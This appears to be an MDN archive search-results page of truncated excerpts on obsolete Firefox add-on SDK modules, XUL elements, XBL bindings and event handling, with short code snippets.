Private Properties - Archive of obsolete content
however, the use of an underscore prefix is just a coding convention and is not enforced by the language: there is nothing to prevent a user from directly accessing a property that is supposed to be private.
...when a thumbnail's image goes out of scope, the weakmap ensures that its entry in the thumbnail cache will eventually be garbage collected.
indexed-db - Archive of obsolete content
for example: window.indexeddb = window.indexeddb || window.webkitindexeddb || window.mozindexeddb || window.msindexeddb; var request = window.indexeddb.open("mydatabase"); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; because your main add-on code can't access the dom, you can't do this.
... so you can use the indexed-db module to access the same api: var { indexeddb } = require('sdk/indexed-db'); var request = indexeddb.open('mydatabase'); request.onerror = function(event) { console.log("failure"); }; request.onsuccess = function(event) { console.log("success"); }; most of the objects that implement the indexeddb api, such as idbtransaction, idbopendbrequest, and idbobjectstore, are accessible through the indexeddb object itself.
selection - Archive of obsolete content
usage registering for selection notifications to be notified when the user makes a selection, register a listener for the "select" event.
...(discontiguous selections can be created by the user with ctrl+click-and-drag.) events select this event is emitted whenever the user makes a new selection in a page.
timers - Archive of obsolete content
example var { settimeout } = require("sdk/timers"); settimeout(function() { // do something in 0 ms }, 0) cleartimeout(id) given an id returned from settimeout(), prevents the callback with the id from being called (if it hasn't yet been called).
... example var { setinterval } = require("sdk/timers"); setinterval(function() { // do something every 1 sec }, 1000) clearinterval(id) given an id returned from setinterval(), prevents the callback with the id from being called again.
High-Level APIs - Archive of obsolete content
tabs open, manipulate, and access tabs, and receive tab events.
... windows enumerate and examine open browser windows, open new windows, and listen for window events.
content/symbiont - Archive of obsolete content
this may take one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires this property is optional and defaults to "end".
...this may have one of the following values: "start": load content scripts immediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoptions read-only value exposed to content scripts under self.options property.
system/child_process - Archive of obsolete content
ls.stdout.on('data', function (data) { console.log('stdout: ' + data); }); ls.stderr.on('data', function (data) { console.log('stderr: ' + data); }); ls.on('close', function (code) { console.log('child process exited with code ' + code); }); writing to child process' stdin because the sdk implementation does not include a write() method for child processes, you must use the "raw" emit event.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const commonjs_uri = 'resource://gre/modules/commonjs'; const { require } = cu.import(commonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
Chrome Authority - Archive of obsolete content
when the manifest implementation is complete the runtime loader will actually prevent modules from require()ing modules that are not listed in the manifest.
... likewise, it will prevent modules from getting chrome authority unless the manifest indicates that they have asked for it.
Listen for Page Load - Archive of obsolete content
the following add-on listens to the tab's built-in ready event and just logs the url of each tab as the user loads it: require("sdk/tabs").on("ready", logurl); function logurl(tab) { console.log(tab.url); } you will find this console output in the browser console, not the web console.
...you can listen for a number of other tab events, including open, close, and activate.
Developing for Firefox Mobile - Archive of obsolete content
/loader supported chrome supported console/plain-text supported console/traceback supported content/content supported content/loader supported content/mod supported content/worker supported core/heritage supported core/namespace supported core/promise supported event/core supported event/target supported frame/hidden-frame supported frame/utils supported io/byte-streams supported io/file supported io/text-streams supported lang/functional supported lang/type supported loader/cuddlefish supported loader/sandbox supported net/url ...
... supported net/xhr supported places/bookmarks not supported places/favicon not supported places/history not supported platform/xpcom supported preferences/service supported stylesheet/style supported stylesheet/utils supported system/environment supported system/events supported system/runtime supported system/unload supported system/xul-app supported tabs/utils supported test/assert supported test/harness supported test/httpd supported test/runner supported test/utils supported ui/button/action not supported ui/button/toggle not supported ...
Modifying Web Pages Based on URL - Archive of obsolete content
in the add-on script, you need to listen for the onattach event to get passed a worker object that contains port.
... by default, content scripts are attached after all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires.
Using XPCOM without chrome - Archive of obsolete content
examples bookmarks observer normally, a bookmark observer would require chrome components and xpcomutils as described in the following links: (observing changes to bookmarks and tags) , (creating event targets).
... // this removes the need to import ci and the xpcomutils const { class } = require("sdk/core/heritage"); const { unknown } = require('sdk/platform/xpcom'); const { placesutils } = require("resource://gre/modules/placesutils.jsm"); let bmlistener = class({ extends: unknown, interfaces: [ "nsinavbookmarkobserver" ], //this event most often handles all events onitemchanged: function(bid, prop, an, nv, lm, type, parentid, aguid, aparentguid) { console.log("onitemchanged", "bid: "+bid, "property: "+prop, "isanno: "+an, "new value: "+nv, "lastmod: "+lm, "type: "+type, "parentid:"+parentid, "aguid:"+aguid);0 // code to handle the event here } }); //we just have a class, but need an object.
Canvas code snippets - Archive of obsolete content
adasarraybuffer(blob); yield new promise(accept => { reader.onloadend = accept }); return yield os.file.writeatomic(path, new uint8array(reader.result), { tmppath: path + '.tmp' }); }); } loading a remote page onto a canvas element the following class first creates a hidden iframe element and attaches a listener to the frame's load event.
...add a listener to the // frame's onload event iframe.addeventlistener('load', this.remotepageloaded, true); //append to the end of the page window.document.body.appendchild(iframe); return; }; remotecanvas.prototype.remotepageloaded = function() { // look back up the iframe by id var ldrframe = document.getelementbyid('test-iframe'); // get a reference to the window object you need for the canvas // drawwindo...
Dialogs and Prompts - Archive of obsolete content
this will: handle a few keyboard events (enter/esc and more), which is good for keyboard accessibility.
... be sure to use ondialog* attributes on dialog element instead of putting oncommand on the button with dlgtype, because button's oncommand is executed only when the button is pressed, and ondialog* handlers are executed for keyboard and other events too.
Code snippets - Archive of obsolete content
xml file i/o code used to read, write and process files drag & drop code used to setup and handle drag and drop events dialogs code used to display and process dialog boxes alerts and notifications modal and non-modal ways to notify users preferences code used to read, write, and modify preferences js xpcom code used to define and call xpcom components in javascript running applications code used to run other applications <canvas> related what wg canvas-related code signing a xpi how to sign an xp...
...ss password manager code used to read and write passwords to/from the integrated password manager bookmarks code used to read and write bookmarks javascript debugger service code used to interact with the javascript debugger service svg general general information and utilities svg animation animate svg using javascript and smil svg interacting with script using javascript and dom events to create interactive svg embedding svg in html and xul using svg to enhance html or xul based markup xul widgets html in xul for rich tooltips dynamically embed html into a xul element to attain markup in a tooltip label and description special uses and line breaking examples tree setup and manipulation of trees using xul and js scrollbar changing style of scrollbars.
Displaying web content in an extension without security issues - Archive of obsolete content
this can be done as well, by placing the event handler on the frame tag (meaning that it is outside the restricted document and can execute without restrictions): <iframe type="content" onclick="handleclick(event);"/> and the event handler would look like that: function handlebrowserclick(event) { // only react to left mouse clicks if (event.button != 0) return; // default action on link clicks is to go to this link, cancel it e...
...vent.preventdefault(); if (event.target instanceof htmlanchorelement && event.target.href) openlinkinbrowser(event.target.href); } safe html manipulation functions when it comes to displaying the data, it is tempting to generate some html code and to insert it into the document via innerhtml.
Enhanced Extension Installation - Archive of obsolete content
this property is ignored for extensions installed into unrestricted locations, such as the profile location, to prevent abuse.
...this should prevent against random file deletions and allow developers to easily reset their state by deleting one of the required system files.
Inline options - Archive of obsolete content
some discussion on the subject at stackoverflow: how to use addeventlistener on inputchanged of inline options display notifications if you want to use the settings ui for anything more than storing preferences, then you will probably need to initialize them when they first appear.
...use this notification to remove event listeners, or any other references that might otherwise be leaked.
Local Storage - Archive of obsolete content
the fuel library has an uninstall event you can use to perform these operations.
...don't log inside functions that are called too often, such as mouseover event handlers, or certain http activity listeners.
Setting Up a Development Environment - Archive of obsolete content
the last & prevents automator from waiting for your firefox session to finish.
...one of the most common errors developers make is to register a js event listener or observer, and never removing it.
Promises - Archive of obsolete content
// failure to do this will prevent firefox from shutting down // cleanly.
...s will remove the dependency on aom wrappers: let addon = yield new promise(accept => addonmanager.getaddonbyid(addon_id, accept)); let dir = yield new promise(accept => addon.getdatadirectory(accept)); xmlhttprequest function request(url, options) { return new promise((resolve, reject) => { let xhr = new xmlhttprequest; xhr.onload = event => resolve(event.target); xhr.onerror = reject; let defaultmethod = options.data ?
Creating reusable content with CSS and XBL - Archive of obsolete content
you can use xbl to link selected elements to their own: stylesheets content properties and methods event handlers because you avoid linking everything at the document level, you can make self-contained parts that are easy to maintain and reuse.
..."true") settimeout(this.cleardemo, 2000, this) ]]></body> </method> <method name="cleardemo"> <parameter name="me"/> <body><![cdata[ me.square.style.backgroundcolor = "transparent" me.square.style.marginleft = "0" me.button.removeattribute("disabled") ]]></body> </method> </implementation> <handlers> <handler event="click" button="0"><![cdata[ if (event.originaltarget == this.button) this.dodemo() ]]></handler> </handlers> </binding> </bindings> make a new css file, bind6.css.
DOMSubtreeModified - Archive of obsolete content
this event has been deprecated in favor of the mutation observer api this event can cause infinite loops if you decide to change the dom inside the event handler, hence it has been disabled in a number of browsers (see domattrmodified and domsubtreemodified events are no longer fired when style attribute is changed via cssom for example).
... document.body.addeventlistener('domsubtreemodified', function () { document.title = 'dom changed at ' + new date(); }, false); ...
List of Mozilla-Based Applications - Archive of obsolete content
e uses xulrunner and spidermonkey prism (was webrunner) single-site browser xulrunner application pro/engineer wildfire cadcam product psycrunner chat, messenger, multicast toolkit about 1,000 users – xulrunner version of psyczilla extension pyjamas-desktop a python web widget toolkit uses xulrunner dom to implement the widgets and event handling.
...lication spicebird collaboration suite spiderape embedding tool uses mozilla spidermonkey splashtop web browser browser part of instant-on operating system sqlite-manager database manager standalone version of add-on stealthsurfer secure internet tools on usb key uses firefox and thunderbird streambase complex event processing platform seems to use xulrunner stylizer css editor css editor css editor with built-in firebug-like diagnostics and gecko 1.8 preview sun java enterprise system server products uses nss sundial browser with advanced domain name technology based on firefox surfeasy private and secure web browsing sweet16 apple ...
MMgc - Archive of obsolete content
normally, a pointer to the object is considered a hard reference -- any such reference will prevent the object from being destroyed.
...the other scenarios we don't care about: gray written to black/gray/white - since the object is gray its on the queue and will be marked before we sweep white written to gray - the white object will be marked as reachable when the gray object is marked white written to white - the referant will either eventually become gray if its reachable or not in which case both objects will get marked black written to black/gray/white - its black, its already been marked so a write barrier needs to be inserted anywhere we could possibly store a pointer to a white object into a black object.
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the lack of a doctype will prevent validation, and so is not recommended.
...this will prevent browsers from using standards-based rendering, and thus all the image-layout problems are avoided.
Working with BFCache - Archive of obsolete content
the pagehide event tells you whether the page is going into bfcache; the pageshow tells you whether it's coming from bfcache.
...q: hmm, so what event tells me “you'll never get a pageshow so you can drop the megabytes of info you've saved in firebug side table for that page?” a: an observer notification with the topic "inner-window-destroyed" whose subject is an nsisupportspruint64 containing the window id of the inner window being destroyed.
Embedding FAQ - Archive of obsolete content
here is the code : import org.eclipse.swt.swt; import org.eclipse.swt.browser.mozillabrowser; import org.eclipse.swt.browser.progressevent; import org.eclipse.swt.browser.progresslistener; import org.eclipse.swt.widgets.display; import org.eclipse.swt.widgets.shell; import org.mozilla.xpcom.nsidomdocument; public class test { public static void main(string args[]) { display display = new display(); shell shell = new shell(display); final mozillabrowser browser = new mozillabr...
...owser(shell,wt.border); browser.seturl("http://www.google.com"); browser.addprogresslistener(new progresslistener() { public void changed(progressevent event) { } public void completed(progressevent event) { nsidomdocument doc = browser.getdocument(); system.out.println(doc); } }); while (!shell.isdisposed()) { if (!display.readanddispatch()) { display.sleep(); } } } how to map a javascript function to a c++ function define an xpcom class defining the function you'll be doi...
Layout FAQ - Archive of obsolete content
why does move movement disappear when i use mouse events to click and drag?
...try using event.preventdefault() what is the purpose of the ns_lossyconvertucs2toascii() function?
statusBar - Archive of obsolete content
syntax jetpack.statusbar.append(options); possible options are: url width (string/length) the width of the panel-item html (string) the html code which will be used inside the item onload (event) this event fires when the item was appended.
...onready (event) occurs when the item was loaded onunload (event) triggers when the item was removed.
Metro browser chrome tests - Archive of obsolete content
helper functions the eventutils helper functions are available on the eventutils object defined in the global scope.
...setup(), teardown(), and run() each have individual exception handlers to prevent one method from interfering with the execution of another.
Binding Implementations - Archive of obsolete content
it can be assumed that the anonymous content of the binding has been fully constructed, although the bindingattached event will not have fired.
... property initialization always takes place after content generation but before the firing of a binding attachment event, since the bindingattached handler needs to be able to assume that all properties will be accessible on the binding.
XBL 1.0 Reference - Archive of obsolete content
bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted around the bound element.
... and detachment attachment using css attachment using element.style property <constructor> call <destructor> call binding documents dom interfaces the nsidomdocumentxbl interface anonymous content introduction scoping and access using the dom content generation rules for generation attribute forwarding insertion points <children> handling dom changes event flow and targeting flow and targeting across scopes focus and blur events mouseover and mouseout events anonymous content and css selectors and scopes binding stylesheets binding implementations introduction methods properties inheritance of implementations event handlers example - sticky notes updated and adjusted for the current firefox implementation...
Mac stub installer - Archive of obsolete content
e a file named xpcom.xpi with the shared libraries in the structure described under the [xpcom] section in: <http://lxr.mozilla.org/seamonkey/sou...ackages-mac#33> note that if you are using the debug target of the installer binary all shared libraries are expected to have the name format <libname>debug.shlb now set a break point at xpi_init() in the mac installer code and step into xpistub and eventually the xpinstall engine will load including symbols so you can set a break point in the xpinstall engine itself.
...these are eventually zipped with the directory structure preserved.
searchbutton - Archive of obsolete content
« xul reference home searchbutton type: boolean if true, the search field will only fire a command event when the user presses the search button or presses the enter key.
... otherwise, the command event is fired whenever the user modifies the value.
commandupdater - Archive of obsolete content
typically, this is used to update menu commands such as undo and cut based on when an event occurs.
... for example, since the cut command is only valid when something is selected, a command updater might be used when the select event occurs.
disabled - Archive of obsolete content
if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
... the element will, however, still respond to mouse events.
oncommand - Archive of obsolete content
« xul reference home oncommand type: script code this event handler is called when the command is activated.
... example 1: in-line code <button label="click me" oncommand="alert('hi')"/> example 2: function with source argument <button label="click me" oncommand="dosomeprocessing(event.target)"/> and here is the definition of the function: function dosomeprocessing(source) { alert("source: " + source); return true; } see also command element ...
onpopuphidden - Archive of obsolete content
« xul reference home onpopuphidden type: script code this event is sent to a popup after it has been hidden.
... this event may also be received while the popup is still open, but when sub-menus contained within this popup are hidden.
onpopupshowing - Archive of obsolete content
« xul reference home onpopupshowing type: script code this event is sent to a popup just before it is opened.
...returning false from this event handler prevents the popup from appearing.
phase - Archive of obsolete content
« xul reference home phase type: string the event phase where the handler is invoked.
... this should be set to the value capturing to indicate during the event capturing phase or target to indicate at the target element or left out entirely for the bubbling phase.
suppressonselect - Archive of obsolete content
« xul reference home suppressonselect type: boolean if this attribute is not specified, a select event is fired whenever an item is selected, either by the user or by calling one of the select methods.
... if set to true, the select event is never fired.
textbox.onchange - Archive of obsolete content
« xul reference home onchange type: script code this event is sent when the value of the textbox is changed.
... the event is not sent until the focus is moved to another element.
timeout - Archive of obsolete content
for search textboxes, the number of milliseconds before the timer fires a command event.
...for timed textboxes, the number of milliseconds before the timer fires a command event.
tree.onselect - Archive of obsolete content
« xul reference home onselect type: script code this event is sent to a tree when a row is selected, or whenever the selection changes.
...the onselect event will be sent for each item added to or removed from the selection.
Attribute (XUL) - Archive of obsolete content
« xul reference home acceltext accessible accesskey activetitlebarcolor afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed col...
...pos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset description dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcol...
Uploading and Downloading Files - Archive of obsolete content
the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
addTabsProgressListener - Archive of obsolete content
the progress listener should be based on the nsiwebprogresslistener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gbrowser) where the event occurred.
... see listening to events on all tabs for details.
openPopup - Archive of obsolete content
« xul reference home openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, triggerevent ) return type: no return value opens the popup relative to a specified node at a specific location.
... triggerevent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup).
selectTabAtIndex - Archive of obsolete content
« xul reference home selecttabatindex( index, event ) return type: no return value selects the tab at the given index.
...if the event argument is supplied, the default event handling will be prevented and propagation stopped.
Methods - Archive of obsolete content
ogresslistener removetransientnotifications replacegroup reset rewind scrollbyindex scrollbypixels scrolltoindex select selectall selectitem selectitemrange selecttabatindex setselectionrange showpane showpopup sizeto startediting stop stopediting swapdocshells syncsessions timedselect toggleitemselection related dom element methods dom:element.addeventlistener dom:element.appendchild dom:element.comparedocumentposition dom:element.dispatchevent dom:element.getattribute dom:element.getattributenode dom:element.getattributenodens dom:element.getattributens dom:element.getelementsbytagname dom:element.getelementsbytagnamens dom:element.getfeature fixme: brokenlink dom:element.getuserdata dom:element.hasattribute dom:eleme...
...asattributens dom:element.hasattributes dom:element.haschildnodes dom:element.insertbefore dom:element.isequalnode dom:element.issamenode dom:element.issupported dom:element.lookupnamespaceuri dom:element.lookupprefix dom:element.normalize dom:element.removeattribute dom:element.removeattributenode dom:element.removeattributens dom:element.removechild dom:element.removeeventlistener dom:element.replacechild dom:element.setattribute dom:element.setattributenode dom:element.setattributenodens dom:element.setattributens dom:element.setuserdata ...
MenuModification - Archive of obsolete content
also, need replace newmenu.label= "new" by newmenu.setattribute("label", "new"); (all when creating from bootstrap.js in a bootstrapped addon) the addsubmenu function is called during the popupshowing event, which will be fired when an attempt to open the menu is made.
... if we were to use the example above, we would also want to make sure to remove the items again in a popuphiding event listener.
Tooltips - Archive of obsolete content
this can be accomplished by using a popupshowing event listener and adjusting the tooltip as needed.
... the popupshowing event will be fired on the tooltip element just before the tooltip appears.
state - Archive of obsolete content
ArchiveMozillaXULPropertystate
this state will occur during the popupshowing event.
...this state will occur during the popuphiding event.
Property - Archive of obsolete content
« xul reference accessible accessibletype accesskey align allnotifications allowevents alwaysopenpopup amindicator applocale autocheck autofill autofillaftermatch boxobject browsers builder builderview buttons canadvance cangoback cangoforward canrewind checked checkstate child children classname clickselectsall clientheight clientwidth collapsed color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customt...
... date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue description dir disableautocomplete disableautocomplete disableautoselect disabled disablekeynavigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour hourleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearching iswaiting itemcount label label...
Static Content - Archive of obsolete content
<menulist datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" oncommand="applyfilter(event.target.value);"> <menupopup> <menuitem label="all"/> </menupopup> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitl...
... <radiogroup datasources="template-guide-photos4.rdf" ref="http://www.daml.org/2001/09/countries/country-ont#country" onselect="applyfilter(event.target.value);"> <radio label="all" selected="true"/> <template> <query> <content uri="?start"/> <triple subject="?country" predicate="http://www.w3.org/1999/02/22-rdf-syntax-ns#type" object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> ...
Adding Methods to XBL-defined Elements - Archive of obsolete content
for example, the following code will probably fail: var element = document.createelement("my_element"); element.getmaximum() // this will fail by the way, it is safe to call methods from the constructor, other methods on the object and event handlers.
...here are some examples: <constructor> if (this.childnodes[0].getattribute("open") == "true"){ this.loadchildren(); } </constructor> <destructor action="savemyself(this);"/> the next section shows how to add event handlers to xbl-defined elements.
Grids - Archive of obsolete content
ArchiveMozillaXULTutorialGrids
similarly, events such as mouse buttons and keypresses are sent only to the set on top.
...if the columns has been placed first, the rows would have grabbed the events and you would not be able to type into the fields.
More Wizards - Archive of obsolete content
note that the goto() method, because it causes a page change, will fire the events again, so you'll have to make sure you handle that case.
...if you do change it, the various page change events will still be fired.
Stacks and Decks - Archive of obsolete content
note that events such as mouse clicks and keypresses are passed to the element on the top of the stack, that is, the last element in the stack.
...more on this in the section on events and the dom.
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
in addition, mouse and other user interface events do not fire at these elements.
... also, events do not get sent to treeitem element and their children; instead they get sent to the treechildren element.
XUL Tutorial - Archive of obsolete content
ontrols progress meters adding html elements using spacers more button features the box model the box model element positioning box model details groupboxes adding more elements more layout elements stacks and decks stack positioning tabboxes grids content panels splitters toolbars and menus toolbars simple menu bars more menu features popup menus scrolling menus events and scripts adding event handlers more event handlers keyboard shortcuts focus and selection commands updating commands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree bo...
...templates introduction to rdf templates trees and templates rdf datasources advanced rules persistent data skins and locales adding style sheets styling a tree modifying the default skin creating a skin skinning xul files by hand localization property files bindings introduction to xbl anonymous content xbl attribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable content using css and xbl xbl example specialized window types features of a window creating dialogs open and save dialogs creating a wizard more wizards overlays cross package overlays installation creating an installer install scripts additional install features this xul tutorial was originally created by neil deakin.
The Implementation of the Application Object Model - Archive of obsolete content
by keeping the dom tree in a sandbox (safely insulated from the containing aom tree in which it might occur), you have an easy means of distinguishing the two trees and preventing scripts in the dom tree from manipulating the aom tree.
... preventing the persistence of attributes: the discardable attribute individual attributes can be specified as non-persistent (i.e.,discardable) through the use of the discardable attribute.
XML - Archive of obsolete content
you must be very careful about your syntax, and in particular about these four cardinal rules of xul: all events and attributes must be written in lowercase.
...all of the events and attributes -- even the javascript event listeners normally formatted in the javascript world with uppercase verbs (e.g., onclick, onload) -- must be lowercase or they are invalid.
XUL Coding Style Guidelines - Archive of obsolete content
it could contain xul specific element types for ui controls, html4 markups for content data, and even javascript for user event handling.
...to prevent them from being localized, you may insert a line of comment following the xml declaration as follows.
XUL controls - Archive of obsolete content
<description> select a time for the event to start </description> more information about the description element.
...the command event is fired after the user stops typing, or if the user tabs away or hits enter.
caption - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements groupbox, checkbox ...
dialogheader - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
editor - Archive of obsolete content
inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), h...
...asattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
menubar - Archive of obsolete content
inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
notification - Archive of obsolete content
methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributen...
...s(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it from its enclosing notificationbox or findbar.
param - Archive of obsolete content
ArchiveMozillaXULparam
type type: one of the values below the type of the parameter's value integer 32 bit integer int64 64 bit integer double double-precision floating-point number string string literal, the default value properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
...), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserd...
rule - Archive of obsolete content
ArchiveMozillaXULrule
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(...
